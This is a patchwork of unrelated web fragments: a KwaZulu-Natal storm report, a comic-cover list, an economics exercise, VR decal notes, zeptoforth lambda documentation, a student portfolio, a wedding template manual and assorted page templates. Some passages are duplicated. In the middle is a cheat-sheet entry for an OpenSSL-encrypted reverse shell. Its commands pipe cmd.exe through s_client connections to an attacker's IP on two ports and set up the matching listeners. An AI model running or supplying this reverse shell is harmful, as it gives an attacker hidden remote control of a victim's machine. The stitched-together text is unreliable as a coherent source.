On Monday, an elderly Amaoti couple Nomathamsanqa Nyangule, 55, and Simangaliso Zondo, 69, died after the roof and wall of their house collapsed on them at around 21:00.
On Monday, an elderly Amaoti couple Nomathamsanqa Nyangule, 55, and Simangaliso Zondo, 69, died after the roof and wall of their house collapsed on them at around 21:00.
Also on Monday in rural KwaZulu-Natal, an Okhahlamba woman, 24-year-old Sthembile Zimba, was killed following a lightning strike.
READ MORE: 'They meant the world to me' - families grieve as KZN storm claims 3
The province has been hit hard by storms since Monday, with disaster teams being placed on standby since Sunday afternoon after forecasters predicted heavy rains.
The M4 between Sibaya and Umhlanga was still closed on Tuesday after a piece of the beach adjacent to the road was washed away on Monday.
There were multiple reports of damage to property and flooding in the eThekwini Metro.


Welcome
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From today's article
Fork twirling, cheesegrating, slurp'n and burpin'
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From today's featured article
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This test shows how a function is converted to a string value via the Function.prototype.toString() method. See the source of this file to see the source for of the function that is converted to a string.


The best comic book covers of the week – 09 December 2019
by Darryn BonthuysOne of the absolute best comic book series of recent memory has to be Chew. Part X-Files, part Kitchen Nightmares and totally delicious, John Layman and Rob Guillory’s main course masterpiece is the stuff of legend. It wrapped up not too long ago, but fans have been hungry for seconds ever since then, and it looks like Layman and Guillory are finally ready to dish out some desert.
In a three-part crossover with his other book over at Image, Layman will team the world of Chew up with his work in Outer Darkness. “In the years since finishing the final issue of Chew, the urge to return to the world and its characters has been slowly but steadily growing within me,” Layman said to Newsarama.
But I had no interest in returning to some generic ‘Untold Case Files of Tony Chu’ type of story,” Layman said in the announcement. “I wanted to return with a story that goes somewhere new, and says something new about the characters. This crossover will do this. And Outer Darkness, believe it or not, is the ideal vehicle to tell this story.
Outer Darkness and Chew are two of my favorite books I’ve ever done, maybe the favorite books I’ve ever done, and probably the best too. Creatively, combining the two was a dream come true for me. This book is the peanut butter and chocolate of comic book crossovers.
“Returning to the Chew universe was always a no-brainer,” added Guillory.
I mean, after 60+ issues of Tony Chu’s adventures, how could we not? It’s something longtime fans have clamored for since Chew’s end, and this crossover is the perfect excuse to dive back into the insane world John and I created. It’s the perfect ode to Chew, while highlighting the amazing work John and the insanely talented Afu Chan have been doing on Outer Darkness. It’s two great books that just taste great together.
The crossover kicks off in March, with Guillory and Outer Darkness artist Afu Chan on art duties. Now, onto the best comic book covers of the week!
- Detective Comics #1017 by Tony Daniel
- The Immortal Hulk #28 by Alex Ross
- Superman #18 by Skan
- Batman: Curse of the White Knight #5 by Sean Gordon Murphy
- New Mutants #3 by Rod Reis
- Captain America #17 by Alex Ross
- Gideon Falls #19 by Andrea Sorrentino
- Deadly Class #42 by Matteo Scalera and Moreno DiNisio
- Miles Morales: Spider-Man #13 by Rahzzah
- Friendly Neighborhood Spider-Man #14 by Andrew Robinson
- Teenage Mutant Ninja Turtles #100 by Dave Wachter
- Undiscovered Country #2 by Francis Manapul
- Hawkman #19 by Dan Panosian
- Tales From The Dark Multiverse: The Judas Contract #1 by Stanley Lau
- Something Is Killing The Children #4 by Michael Walsh
- Harley Quinn and Poison Ivy #4 by Mikel Janin
- Punisher Soviet #2 by Marcos Martin
- Go Go Power Rangers #26 by Amelia Vidal
- Spider-Man 2099 #1 by Jose Carlos Silva
- Dark Knight Returns: The Golden Child #1 by Rafael Grampa
- The Dollhouse Family #2 by Jessica Dalva
- Doom 2099 #1 by Max Fiumara
- Harley Quinn: Villain of the Year #1 by Warren Louw
- Morbius #2 by Ryan Brown
- Life Is Strange #11 by Claudia Leonardi
- RWBY #3 by Sarah Stone
- Doctor Mirage #5 by Caspar Wingjaard
- Steven Universe #35 by Borg Sinaban
- Red Mother #1 by Jeremy Haun
- Vampirella / Red Sonja #4 by Julian Totino Tedesco
- Aliens Vs. Predator: Thicker Than Blood #1 by Chun Lo
- Bettie Page: Unbound #7 by John Royle
- Shoplifters Will Be Liquidated #3 by Stefano Simeone
- Black Terror #3 by Rahzzah
- Kiss/Zombies #2 by Arthur Suydam


--- title: "2.3 — Cost Minimization - Practice Problems" editor_options: chunk_output_type: console ---
Your firm can use labor \(l\) and capital \(k\) to produce output according to the production function: \[q=4lk\]
The marginal products are:
\[\begin{align*} MP_l &=4k \\ MP_k &=4l \\ \end{align*}\]
Suppose you need to produce 144 units, the price of labor is $10, and the price of capital is $40.
What is the least-cost combination of labor and capital that produces 144 units of output?
How much does this combination cost?
Does this technology experience constant returns, increasing returns, or decreasing returns to scale?


Samsung Gear VR 2 Decals
ACS is implementing a Pediatric VR pilot with Children’s Healthcare of Atlanta to help ease anxieties around the treatment experience. I developed 4 decal designs to cover the Samsung Gear VR Gen 2.
PURPOSE: Provide a save, non-invasive experience that takes kids to a different environment which provides a relaxing, comfortable and pleasant experience during their clinical visits
GOALS:
Reduce patient distress
TESTING
Test virtual reality scenarios with CHOA patients to determine if they enjoyed VR experiences while waiting for procedures, during procedures, or even throughout their hospital stay as an alternative for pain relief
Ideation
The age range is for girls and boys ages 6-18. Because of this, I wanted fun designs that were targeted different genders and age range. I also wanted to take advantage of the front plate since ACS is also using these VR Decals for filming purposes.
Goofy faces would ease other kids watching the user, which would create a more relaxed, fun atmosphere.
Final Mockups
We ended up taking the idea of faces and doing a MIX and MATCH of the faces with patterns to create more options and also the kids would have more connection to picking out their pattern and faces.


Lambda Words
In zeptoforth the user can define lightweight anonymous functions, known as lambdas, inline in other words with [:
and ;]
, where [:
starts compiling a lambda, and ;]
finishes it. compiling the xt
for the lambda as a literal into the containing word. Multiple lambdas can be nested. Note that lambdas have no headers, making them lighter-weight than normal words. Provided that all words compiled into them are themselves inlined, they can be inlined into other words.
[:
and ;]
are defined in src/common/forth/basic.fs
, but the other words discussed here are defined in src/common/forth/lambda.fs
.
lambda
These words are in the lambda
module`.
There are two simple conditional combinators, namely:
qif
( ??? flag true-xt – ??? )
which takes f and true-xt, which is executed when f is non-zero; true-xt has the following signature:
( ??? – ??? )
qifelse
( ??? flag true-xt false-xt – ??? )
which takes f, true-xt, and false-xt; true-xt is executed when f is non-zero and false-xt is executed when f is zero. These have the following signature:
( ??? – ??? )
There are three simple looping combinators:
quntil
( ??? xt – ??? )
which takes xt and executes it repeatedly until it returns a non-zero value; xt has the following signature:
( ??? – ??? flag )
qagain
( ??? xt – ??? )
which takes xt and executes it repeatedly forever until an exception is raised; xt has the following signature:
( ??? – ??? )
qwhile
( ??? while-xt body-xt – ??? )
which in a loop first executes while-xt and, if it returns a non-zero value, then it executes body-xt and continues looping, else it exits the loop; while-xt has the signature:
( ??? – ??? flag )
and body-xt has the signature:
( ??? – ??? )
There are two counted looping combinators:
qcount
( ??? limit init xt – ??? )
which counts up with an increment of one from init until it reaches limit, not including it, executing xt at each step, passing it the current count; xt has the signature:
( ??? i – ??? )
qcount+
( ??? limit init xt – ??? )
which counts up or down with a variable increment from init until it reaches limit, not including it for counting up but including it for counting down, executing xt at each step, passing it the current count and receiving the increment/decrement for the next step; xt has the signature:
( ??? i – ??? increment )
There are the following combinators for iterating over arrays with with different-sized members:
citer
( ??? c-addr count xt – ??? )
which iterates over the byte array specified by c-addr and count, passing each byte from the lowest address to the highest to xt, which has the signature:
( ??? c – ??? )
hiter
( ??? h-addr count xt – ??? )
which iterates over the halfword array specified by h-addr and count, passing each halfword from the lowest address to the highest to xt, which has the signature:
( ??? h – ??? )
iter
( ??? addr count xt – ??? )
which iterates over the cell array specified by addr and count, passing each cell from the lowest address to the highest to xt, which as the signature:
( ??? x – ??? )
2iter
( ??? addr count xt – ??? )
which iterates over the double-cell array specified by addr and count, passing each double cell from the lowest address to the highest to xt, which as the signature:
( ??? d – ??? )
There are the following combinators for iterating over values from getters:
iter-get
( ??? get-xt count iter-xt – ??? )
which iterates over the cell values returned by get-xt when passed an index starting from 0 up to but not including count, passing them to iter-xt; get-xt has the signature:
( ??? i – ??? x )
and xt has the signature:
( ??? x – ??? )
2iter-get
( ??? get-xt count iter-xt – ??? )
which iterates over the double-cell values returned by get-xt when passed an index starting from 0 up to but not including count, passing them to iter-xt; get-xt has the signature:
( ??? i – ??? d )
and xt has the signature:
( ??? d – ??? )
There are the following combinators for finding indices of values in arrays:
citeri
( ??? c-addr count xt – ??? )
which iterates over the byte array specified by c-addr and count, passing each byte from the lowest address to the highest along with its index to xt, which has the signature:
( ??? c i – ??? )
hiteri
( ??? h-addr count xt – ??? )
which iterates over the halfword array specified by h-addr and count, passing each halfword from the lowest address to the highest along with its index to xt, which has the signature:
( ??? h i – ??? )
iteri
( ??? addr count xt – ??? )
which iterates over the cell array specified by addr and count, passing each cell from the lowest address to the highest along with its index to xt, which as the signature:
( ??? x i – ??? )
2iteri
( ??? addr count xt – ??? )
which iterates over the double-cell array specified by addr and count, passing each double cell from the lowest address to the highest along with its index to xt, which as the signature:
( ??? d i – ??? )
There are the following combinators for iterating over values from getters:
iteri-get
( ??? get-xt count iter-xt – ??? )
which iterates over the cell values returned by get-xt when passed an index starting from 0 up to but not including count, passing them along with their index to iter-xt; get-xt has the signature:
( ??? i – ??? x )
and xt has the signature:
( ??? x i – ??? )
2iteri-get
( ??? get-xt count iter-xt – ??? )
which iterates over the double-cell values returned by get-xt when passed an index starting from 0 up to but not including count, passing them along with their index to iter-xt; get-xt has the signature:
( ??? i – ??? d )
and xt has the signature:
( ??? d i – ??? )
There are the following combinators for mapping from one array to another array with different-sized members; note that two arrays may be the same array:
cqmap
( ??? src-addr dst-addr count xt – ??? )
which maps from one byte array src-addr to another byte array dst-addr with count elements using xt, where xt has the signature:
( ??? c – ??? c’ )
hqmap
( ??? src-addr dst-addr count xt – ??? )
which maps from one halfword array src-addr to another halfword array dst-addr with count elements using xt, where xt has the signature:
( ??? h – ??? h’ )
qmap
( ??? src-addr dst-addr count xt – ??? )
which maps from one cell array src-addr to another cell array dst-addr with count elements using xt, where xt has the signature:
( ??? x – ??? x’ )
2qmap
( ??? src-addr dst-addr count xt – ??? )
which maps from one double-cell array src-addr to another double-cell array dst-addr with count elements using xt, where xt has the signature:
( ??? d – ??? d’ )
qmap-get-set
( ??? get-xt count map-xt set-xt – ??? )
which maps from count single-cell elements generated by the getter get-xt with map-xt, and then passing the resulting values and their indices to set-xt, where get-xt has the signature:
( ??? i – ??? x )
and map-xt has the signature:
( ??? x – ??? x’ )
and set-xt has the signature
( ??? x’ i – ??? )
2qmap-get-set
( ??? get-xt count map-xt set-xt – ??? )
which maps from count double-cell elements generated by the getter get-xt with map-xt, and then passing the resulting values and their indices to set-xt, where get-xt has the signature:
( ??? i – ??? d )
and map-xt has the signature:
( ??? d – ??? d’ )
and set-xt has the signature
( ??? d’ i – ??? )
cqmapi
( ??? src-addr dst-addr count xt – ??? )
which maps from one byte array src-addr to another byte array dst-addr with count elements using xt with both each element and its index, where xt has the signature:
( ??? c i – ??? c’ )
hqmapi
( ??? src-addr dst-addr count xt – ??? )
which maps from one halfword array src-addr to another halfword array dst-addr with count elements using xt with both each element and its index, where xt has the signature:
( ??? h i – ??? h’ )
qmapi
( ??? src-addr dst-addr count xt – ??? )
which maps from one cell array src-addr to another cell array dst-addr with count elements using xt with both each element and its index, where xt has the signature:
( ??? x i – ??? x’ )
2qmapi
( ??? src-addr dst-addr count xt – ??? )
which maps from one double-cell array src-addr to another double-cell array dst-addr with count elements using xt with both each element and its index, where xt has the signature:
( ??? d i – ??? d’ )
There are the following combinators for filtering from one array to another array with different-sized members; note that the two arrays may be the same array:
qmapi-get-set
( ??? get-xt count map-xt set-xt – ??? )
which maps from count single-cell elements generated by the getter get-xt and their indices with map-xt, and then passing the resulting values and their indices to set-xt, where get-xt has the signature:
( ??? i – ??? x )
and map-xt has the signature:
( ??? x i – ??? x’ )
and set-xt has the signature
( ??? x’ i – ??? )
2qmapi-get-set
( ??? get-xt count map-xt set-xt – ??? )
which maps from count double-cell elements generated by the getter get-xt and their indices with map-xt, and then passing the resulting values and their indices to set-xt, where get-xt has the signature:
( ??? i – ??? d )
and map-xt has the signature:
( ??? d i – ??? d’ )
and set-xt has the signature
( ??? d’ i – ??? )
cfilter
( ??? src-addr dst-addr count xt – ??? count’ )
which filters from one byte array src-addr to another byte array dst-addr with count elements using xt, returning count’ elements filtered, where xt has the signature:
( ??? c – ??? flag )
hfilter
( ??? src-addr dst-addr count xt – ??? count’ )
which filters from one halfword array src-addr to another halfword array dst-addr with count elements using xt, returning count’ elements filtered, where xt has the signature:
( ??? h – ??? flag )
filter
( ??? src-addr dst-addr count xt – ??? count’ )
which filters from one cell array src-addr to another cell array dst-addr with count elements using xt, returning count’ elements filtered, where xt has the signature:
( ??? x – ??? flag )
2filter
( ??? src-addr dst-addr count xt – ??? count’ )
which filters from one double-cell array src-addr to another double-cell array dst-addr with count elements using xt, returning count’ elements filtered, where xt has the signature:
( ??? d – ??? flag )
filter-get-set
( ??? get-xt count filter-xt set-xt – ??? count’ )
which filters count single-cell elements from getter get-xt with filter-xt, and passes the filtered values and their ultimate indices to set-xt, returnining count’ elements filtered, where get-xt has the signature:
( ??? i – ??? x )
and filter-xt has the signature
( ??? x – ??? flag )
and set-xt has the signature
( ??? x i’ – ??? )
2filter-get-set
( ??? get-xt count filter-xt set-xt – ??? count’ )
which filters count double-cell elements from getter get-xt with filter-xt, and passes the filtered values and their ultimate indices to set-xt, returnining count’ elements filtered, where get-xt has the signature:
( ??? i – ??? d )
and filter-xt has the signature
( ??? d – ??? flag )
and set-xt has the signature
( ??? d i’ – ??? )
cfilteri
( ??? src-addr dst-addr count xt – ??? count’ )
which filters from one byte array src-addr to another byte array dst-addr with count elements using xt with both each element and its index, returning count’ elements filtered, where xt has the signature:
( ??? c i – ??? flag )
hfilteri
( ??? src-addr dst-addr count xt – ??? count’ )
which filters from one halfword array src-addr to another halfword array dst-addr with count elements using xt with both each element and its index, returning count’ elements filtered, where xt has the signature:
( ??? h i – ??? flag )
filteri
( ??? src-addr dst-addr count xt – ??? count’ )
which filters from one cell array src-addr to another cell array dst-addr with count elements using xt with both each element and its index, returning count’ elements filtered, where xt has the signature:
( ??? x i – ??? flag )
2filteri
( ??? src-addr dst-addr count xt – ??? count’ )
which filters from one double-cell array src-addr to another double-cell array dst-addr with count elements using xt with both each element and its index, returning count’ elements filtered, where xt has the signature:
( ??? d i – ??? flag )
filteri-get-set
( ??? get-xt count filter-xt set-xt – ??? count’ )
which filters count single-cell elements from getter get-xt along with their indices with filter-xt, and passes the filtered values and their ultimate indices to set-xt, returnining count’ elements filtered, where get-xt has the signature:
( ??? i – ??? x )
and filter-xt has the signature
( ??? x i – ??? flag )
and set-xt has the signature
( ??? x i’ – ??? )
2filteri-get-set
( ??? get-xt count filter-xt set-xt – ??? count’ )
which filters count double-cell elements from getter get-xt along with their indices with filter-xt, and passes the filtered values and their ultimate indices to set-xt, returnining count’ elements filtered, where get-xt has the signature:
( ??? i – ??? d )
and filter-xt has the signature
( ??? d i – ??? flag )
and set-xt has the signature
( ??? d i’ – ??? )
There are the following combinators for finding indices of values in arrays:
cfind-index
( ??? c-addr count xt – ??? i|-1 )
which iterates over the byte array specified by c-addr and count, passing each byte from the lowest address to the highest to xt, until it either reaches a value for which it returns a non-zero value, where then it returns the index of that byte, or if it reaches the end of the array, where then it returns -1; xt as the signature:
( ??? c – ??? flag )
hfind-index
( ??? h-addr count xt – ??? i|-1 )
which iterates over the halfword array specified by h-addr and count, passing each halfword from the lowest address to the highest to xt, until it either reaches a value for which it returns a non-zero value, where then it returns the index of that halfword, or if it reaches the end of the array, where then it returns -1; xt has the signature:
( ??? h – ??? flag )
find-index
( ??? addr count xt – ??? i|-1 )
which iterates over the cell array specified by addr and count, passing each cell from the lowest address to the highest to xt, until it either reaches a value for which it returns a non-zero value, where then it returns the index of that cell, or if it reaches the end of the array, where then it returns -1; xt has the signature:
( ??? x – ??? flag )
2find-index
( ??? addr count xt – ??? i|-1 )
which iterates over the double-cell array specified by addr and count, passing each double cell from the lowest address to the highest to xt, until it either reaches a value for which it returns a non-zero value, where then it returns the index of that double cell, or if it reaches the end of the array, where then it returns -1; xt has the signature:
( ??? d – ??? flag )
There are the following combinators for finding indices of values from getters:
find-get-index
( ??? get-xt count pred-xt – ??? i|-1 )
which iterates over the cell values returned by get-xt when passed indices starting from zero up to but not including count, passing each cell to xt, until it either reaches a value for which it returns a non-zero value, where then it returns the index of that cell, or if it reaches count, where then it returns -1; get-xt has the signature:
( ??? i – ??? x )
and pred-xt has the signature:
( ??? x – ??? flag )
2find-get-index
( ??? get-xt count pred-xt – ??? i|-1 )
which iterates over the double-cell values returned by get-xt when passed indices starting from zero up to but not including count, passing each double cell to xt, until it either reaches a value for which it returns a non-zero value, where then it returns the index of that double cell, or if it reaches count, where then it returns -1; get-xt has the signature:
( ??? i – ??? d )
and pred-xt has the signature:
( ??? d – ??? flag )
There are the following combinators for finding values in arrays:
cfind-value
( ??? c-addr count xt – ??? b|0 flag )
which iterates over the byte array specified by c-addr and count, passing each byte from the lowest address to the highest to xt, until it either reaches a value for which it returns a non-zero value, where then it returns the value of that byte and true, or if it reaches the end of the array, where then it returns 0 and false; xt as the signature:
( ??? c – ??? flag )
hfind-value
( ??? h-addr count xt – ??? h|0 flag )
which iterates over the halfword array specified by h-addr and count, passing each halfword from the lowest address to the highest to xt, until it either reaches a value for which it returns a non-zero value, where then it returns the value of that halfword and true, or if it reaches the end of the array, where then it returns 0 and false; xt has the signature:
( ??? h – ??? flag )
find-value
( ??? addr count xt – ??? x|0 flag )
which iterates over the cell array specified by addr and count, passing each cell from the lowest address to the highest to xt, until it either reaches a value for which it returns a non-zero value, where then it returns the value of that cell and true, or if it reaches the end of the array, where then it returns 0 and false; xt has the signature:
( ??? x – ??? flag )
2find-value
( ??? addr count xt – ??? d|0 flag )
which iterates over the double-cell array specified by addr and count, passing each double cell from the lowest address to the highest to xt, until it either reaches a value for which it returns a non-zero value, where then it returns the value of that double cell and true, or if it reaches the end of the array, where then it returns 0 and false; xt has the signature:
( ??? d – ??? flag )
There are the following combinators for finding values from getters:
find-get-value
( ??? get-xt count pred-xt – ??? x|0 flag )
which iterates over the cell values returned by get-xt when passed indices starting from zero up to but not including count, passing each cell to xt, until it either reaches a value for which it returns a non-zero value, where then it returns the value of that cell and true, or if it reaches count, where then it returns 0 and false; get-xt has the signature:
( ??? i – ??? x )
and pred-xt has the signature:
( ??? x – ??? flag )
2find-get-value
( ??? get-xt count pred-xt – ??? d|0 flag )
which iterates over the double-cell values returned by get-xt when passed indices starting from zero up to but not including count, passing each double cell to xt, until it either reaches a value for which it returns a non-zero value, where then it returns the value of that double cell and true, or if it reaches count, where then it returns 0 and false; get-xt has the signature:
( ??? i – ??? d )
and pred-xt has the signature:
( ??? d – ??? flag )


This reverse shell is a bit different. It will connect the input of cmd on the server listening at IP on Port_1 and the output onto the srever listening at IP on Port_2. Means listening on two ports on the listener as well.
#Generate certificate
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
#Spawn Reverse Shell
openssl s_client -quiet -connect <IP>:<PORT> | cmd.exe | openssl s_client -quiet -connect <IP>:<PORT_2>
#Listen
openssl s_server -quiet -key <KEY> -cert <CERT> -port <PORT_1> &
openssl s_server -quiet -key <KEY> -cert <CERT> -port <PORT_2> &


Logging¶
Logger injection¶
As the Rackspace client extends the OpenStack client, they both support passing $options as an array via the constructor’s third parameter. The options are passed as a config to the Guzzle client, but also allow to inject your own logger.
Your logger should implement the Psr\Log\LoggerInterface as defined in PSR-3. One example of a compatible logger is Monolog. When the client does create a service, it will inject the logger if one is available.
To inject a LoggerInterface compatible logger into a new client:
use Monolog\Logger;
use OpenCloud\OpenStack;
// create a log channel
$logger = new Logger('name');
$client = new OpenStack('http://identity.my-openstack.com/v2.0', array(
'username' => 'foo',
'password' => 'bar'
), array(
'logger' => $logger,
));


The menu on this page uses a navy theme.
This is a demo page. Click the menu-button in the header to open the menu.


Project Portfolio
Bio
Raquel is an undergrad studying Computer Science and Cognitive Science at University of California, San Diego. In the past she has done data processing and research with the EarthCube Metadata Interoperability Project. Currently, she works as a Data Processing Management staff member in the Marine Physical Laboratory at Scripps Institute of Oceanography. She is interested in data science, design and software engineering. Particularly, Raquel is interested in information, the insights it yields, how we handle those insights, how we percieve information and process it, and improving our capacity to do such. She likes learning news things, listening to people talk about their experiences and watching horror movies.
Projects
Comcost was a fictional software engineering effort consisting of seven students hailing from Electrical Engineering, Computer Science, and Cognitive Science. At first they were quiet, nervous, unsure of what to think of one another, and coincidentally all hungry and all kinda into memes. In the Winter of 2014, Telegroup, a phone and internet company, contracted Comcost to build their website. Suddenly, these seven strangers had to combine their varying degrees and kinds of knowledge to build a usable, engaging site. Armed with django, python, and access to rooms that they maybe technically should not have been in, they built that website and it lives on.
At Bluebeam technologies, seven interns(seven must be a key number) were tasked with taking the power of Bluebeam to the web. Once logged into the application a user needed to be able to collaborate with colleagues in real time in a session, checkout a project and check it back in and manipulate the document view. This project tested our ability to deftly use Angular's API Promise service and create effective classes and models for retrieving, processing and handing off data. It was overall, a fun, productive summer. I owe much of what I know about Angularjs, web development and working with a team to this project and its wonderful members. Unfortunately, I can't show you the project but have a general website I didn't build instead.
Bio
Raquel is an undergrad studying Computer Science and Cognitive Science at University of California, San Diego. In the past she has done data processing and research with the EarthCube Metadata Interoperability Project. Currently, she works as a Data Processing Management staff member in the Marine Physical Laboratory at Scripps Institute of Oceanography. She is interested in data science, design and software engineering. Particularly, Raquel is interested in information, the insights it yields, how we handle those insights, how we percieve information and process it, and improving our capacity to do such. She likes learning news things, listening to people talk about their experiences and watching horror movies.
Projects
Comcost was a fictional software engineering effort consisting of seven students hailing from Electrical Engineering, Computer Science, and Cognitive Science. At first they were quiet, nervous, unsure of what to think of one another, and coincidentally all hungry and all kinda into memes. In the Winter of 2014, Telegroup, a phone and internet company, contracted Comcost to build their website. Suddenly, these seven strangers had to combine their varying degrees and kinds of knowledge to build a usable, engaging site. Armed with django, python, and access to rooms that they maybe technically should not have been in, they built that website and it lives on.
At Bluebeam technologies, seven interns(seven must be a key number) were tasked with taking the power of Bluebeam to the web. Once logged into the application a user needed to be able to collaborate with colleagues in real time in a session, checkout a project and check it back in and manipulate the document view. This project tested our ability to deftly use Angular's API Promise service and create effective classes and models for retrieving, processing and handing off data. It was overall, a fun, productive summer. I owe much of what I know about Angularjs, web development and working with a team to this project and its wonderful members. Unfortunately, I can't show you the project but have a general website I didn't build instead.


{% include "includes.html" %}
{% include "navbar.html" %}
Artist Results: "{{ terms }}"
{% for artist in artists %}
{{loop.index}}.
{{artist.name}}
{% endfor %}


Events Manager
Home
Sign In
Admin
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First name
Last name
Username
Email
Password
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These are our partnered WifiPower browsers:
Google Chrome
Google's top of the line browser
file_download
Opera
Another browser option
file_download


This file is meant to be the src of a webview tag, run in an Electron Shared node context. It won't do much outside of that :)
See the implementation within RoboPaint for an idea of how this is meant to work.


2 references to WriteCR
System.Management.Automation (2)
engine\debugger\debugger.cs (2)
5321
WriteCR
(host, output);
5336
WriteCR
(host, output);


Wedding template
Introduction
- Item Name : Wedding Template
- Item Version : v 1.3
- Author : FairyTheme
First of all, Thank you so much for purchasing this template and for being my favourite customer. You are awesome!
If you can, please, go to the item page and rate it. Your feedback is very important for us.
You are entitled to get free lifetime updates to this product + exceptional support from the author directly. Since you've chosen this template I hope you like it, so I want to ask you to leave your rating on the page of this templete. We would be so much grateful to you.
This documentation is to help you regarding each step of customization. Please go through the documentation carefully to understand how this template is made and how to edit this properly. Basic HTML and CSS knowledge is required to customize this template.
Requirements
You will need the following sofwares to customize this template.
- Code Editing Software (eg: Dreamweaver, Sublime Text or Notepad)
- Web Browser for testing (eg: Google Chrome or Mozilla Firefox)
- FTP Tool to upload files to Server (eg: FileZilla)
Be careful and do not editing the template. If not edited properly, the design layout may break completely.
Change log
ver. 1.3
- - Add form.php file
we added php file for the contact form. Now it works from the box. - - Update the js file.
ver. 1.2
- - Add blog pages
we added blog page and 2 single post pages. - - Bug fixing.
ver. 1.1
- - Fix mobile menu
- - Add Gallery Single Albom page
now you can place your photos on the single page. - - Add Lightbox for Albom photos.
- - Bug fixing.
ver. 1.0
- - Create the template
Folders & files #back to top
In this project we have the following structure:
- css
- documentation
- fonts
- img
- js
- sass
- favicon.ico
- about.html
- blog.html
- form.php
- gallery.html
- index.html
- rsvp.html
- single-post.html
- single-post-2.html
Folders:
css - include main.css, multipage.css files and all vendor style files.
documentation - folder with documentation.
fonts - folder with fonts.
img - folder with all images, include images for site and folders for gallery and carousel.
js - folder with main.js file and vendor scripts.
sass - folder with scss files.
Files:
form.php - PHP file for form
about.html - page About us
blog.html - page Blog
gallery.html - page Gallery
index.html - Main page
rsvp.html - page RSVP
single-post.html - page Single post with sidebar
single-post-2.html - page Single post without sidebar
HTML guide #back to top
Each main file consist form sections. You can notice them by comments.
When you need to change some text in the section - open the file, find needed section and change the text that you want. You also can use option "find" in your code editor to quickly find the text.
For example:
You want to change names of Bride and Groom. So you need to open the main html file and find the section "About us".
Here's how it looks:
Hello!
July 28th, 2018 New York, USA
We invited you to celebrate our wedding
Joseph
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam
Anna
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam
Now you just need to find the text that you want to change.
Be careful and do not editing the other code. Change onle the text not tags.
CSS+SASS guide #back to top
All CSS files are in the folder css. Here you can find main.css and main-*.css files with our template styles and vendor CSS files (bootstrap, OWL carousel, lightbox and other).
main.css its a file with default color scheme. If you want to use another color scheme, you need to connect the corresponding file (one of main-*.css) instead of main.css. Note: you need only one file with name main to be connected to the site. They are similar, but with different colors. All colors correspond to the file's name.
For example:
if you want to use green color on the site, connect the main-green.css as a style file on your site.
Structure of the sass folder
If you are familar with SASS and want to change something you can use our scss sources.
- base - includes base styling (colors, fonts, typo etc)
- components - includes reusable components (buttons, forms, timeline etc)
- modules - styling for sections
- utilites - includes mixins and breakpoints
- main-*.scss - style files for another colors
- main.scss - default style file
For sass files we use the mixin approach. In it the specific file its a mixin that you can import where you need.
For example:
If you need to add another module, use this template
@mixin module-your-name { /* your SASS code here */ }
And then import it in the _modules.scss file.
JS guide #back to top
This template use our JS file main.js and other vendor scripts such as bootstrap.min.js, jquery.min.js and other.
Structure of main.js file
You can find this file in the folder "js".
For all specific sections we use functions and then init them. So if you want to add some new functionality we recommend create a new function for this and init it in the end of the main.js file.
You onle need to change date in Countdown.
Countdown:
- Open the file main.js
- Find the section "Countdown"
- In the bottom of this section you'll find the line with the date. This is the date for wedding.
// set your wedding date here var deadline = 'December 17 2017 17:30:00 GMT+0300';
- Change this date to which you want.
- Be careful! Change only the date in the quotes in this format 'Month day year time(optional)'.
Example:
var deadline = 'December 17 2016 17:30:00 GMT+0300';
var deadline = 'December 17 2016';
PHP guide #back to top
In this template we use only one PHP file is the form.php. It's needed for sending emails from attending form to you. This form is fully working, you only need to change settings.
- Open the file form.php in the main folder.
- Find line with email in the top of the code.
- Change<EMAIL_ADDRESS>with your email address.
That's all! Now when your visitor will send the form, you get it on your email.
Gallery #back to top
We have Gallery section with alboms in the index.html page and the same individual page. But also we have the example of the Single Albom page (gallery-single.html). We did just one such page. But we recommend you to create it for each albom that you will have.
The images for the Albom you can find in the img/gallery-albom folder.
Color scheme #back to top
Color schemes:
As we said before you can use of the main-*.css CSS files with the color that you want.
Source and credits #back to top
The list of all vendor source.
- All images are free and have licence Creative Commons. You can find them on the site https://pixabay.com
- Bootstrap getbootstrap.com
- jQuery jquery.com
- animate CSS http://daneden.me/animate
- OWL carousel http://www.owlcarousel.owlgraphic.com/
- Magnific popup http://dimsemenov.com/plugins/magnific-popup/
- jQuery countTo https://github.com/mhuggins/jquery-countTo
- jQuery easing http://gsgd.co.uk/sandbox/jquery/easing/
- jQuery waypoints https://github.com/imakewebthings/waypoints/
- jQuery parallax https://github.com/pixelcog/parallax.js
- Lightbox http://lokeshdhakar.com/projects/lightbox2/
Once again, thank you so much for purchasing this template. As we said at the beginning, we'd be glad to help you if you have any questions relating to this template. We'll do our best to assist. If you have a more general question relating to the templates on ThemeForest, you might consider visiting the forums and asking your question in the "Item Discussion" section. And you always can ask us.
Your, FairyTheme team.


We've received your request
We will email you at the address you provided when the book you requested is available.
If you have any further questions, please email<EMAIL_ADDRESS>{% extends "base.html" %} {% block title %}Confirmation{% endblock title %} {% block content %}
We will email you at the address you provided when the book you requested is available.
If you have any further questions, please email gelman@gwu.edu


Project title:
{{ctrl.pub.title}}
Acronym:
{{ctrl.pub.acronym}}
Reference:
{{ctrl.pub.reference}}
Project type:
{{ctrl.pub.project_type}}
Call type:
{{ctrl.pub.call_type}}
LAQV/UCIBIO people involved:
{{person.colloquial_name}}
Funding agency:
{{ctrl.pub.funding_agency_official_name}}
{{ctrl.pub.other_funding_entity}}
Global amount (€):
{{ctrl.pub.global_amount}}
Management entity:
{{ctrl.pub.management_entity_official_name}}
Management entity amount (€):
{{ctrl.pub.entity_amount}}
Group amount (€):
{{ctrl.pub.amount}}
% hire postdocs:
{{ctrl.pub.percentage_hire_postdoc}}
% hire PhD students:
{{ctrl.pub.percentage_hire_student}}
% hire other:
{{ctrl.pub.percentage_hire_other}}
Date started:
{{ctrl.pub.start | date: 'yyyy-MM-dd'}}
Date ended:
{{ctrl.pub.end | date: 'yyyy-MM-dd'}}
Notes:
{{ctrl.pub.notes}}


Statistical Measures of Circular Distributions:
With this program the statistical measures of circular orientation data (i.e. strike lines fotolineations, flow directions) are calculated. These data can either be pure directions without defined magnitude ( strike lines ) or they can have defined lengths ( fotolineations). In the menu 'data‘ the choice between pure directions and directions with lengths must be made.
The menu ‚range‘ differentiates between data without polarity (strike lines)
and those with polarity ( flow directions).
The first type of data uses only the range 1..180°. The second one
